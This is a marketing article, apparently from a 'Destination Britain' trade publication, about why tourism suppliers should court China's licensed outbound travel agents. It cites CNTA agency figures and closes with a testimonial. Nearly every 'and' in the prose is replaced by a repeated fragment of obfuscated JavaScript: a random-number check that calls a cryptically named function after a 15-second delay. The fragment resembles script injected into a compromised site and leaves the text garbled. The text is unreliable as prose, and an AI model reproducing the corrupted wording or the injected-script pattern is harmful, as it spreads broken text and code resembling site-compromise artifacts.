Targeting China’s Travel Trade

Travel agents play a vital role in China. Many Chinese travellers prefer to use an agent due to language barriers, knowledge gaps, visa preparation andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and convenience andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and value.

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While many reports show that so-called independent travellers engage increasingly in their own initial research – especially online, through social media andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and personal recommendations – many will still consult with a travel agent or tour operator at some point in the planning of their visit. According to the CNTA, total numbers of outbound visitors assisted or advised by approved agencies increased by 10% to 40 million in total in 2014.

Therefore, as well as driving consumer demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and, engaging the travel agent andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and ‘influencing the influencers’ must play a key part of any strategy for any tourism supplier looking to attract the Chinese visitor.

The China National Tourism Administration keeps a close watch on the outbound tourism industry andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and only a small percentage of China’s 20,000+ licensed travel agencies are authorised to sell travel to Europe andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Britain, although the number of staff in some of these agencies can run to the thousandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands.

As is the trend in other more developed markets, China’s outbound travel agents andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tour operators find themselves needing to offer increasing levels of flexibility andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and a more bespoke approach to building travel itineraries andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tours. This is essential if they are to retain business from their increasingly well-informed andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and discerning clients andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and compete with the online sector.

The service-value proposition is especially true when agents deal with the personal assistants of the very wealthy for their travel planning.

The number of outbound travel professionals in China is increasing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and they face a steep learning curve in order to better advise clients, make original recommendations andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and create more diverse tour products for the numerous destinations they sell. This rapid evolution of the Chinese outbound travel industry is in turn creating a a demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for greater knowledge, diversification andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and specialization.

The ‘Destination Britain’ team has invested in extensive research from numerous sources to identify the current key travel influencers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and product planners across China when it comes to outbound travel to Britain, so as to ensure our distribution list is the most up-to-date andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and targeted in the sector. This will then provide all key relevant personnel with valuable, fresh information directly from the destination market they are selling. To find out more about how you can be featured, click HERE.

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A publication like this would be a valuable resource for additional information about new opportunities...there is nothing else that we receive in print that is quite like this

Shelley Jin, GM, Shanghai Yangzi International Travel Service

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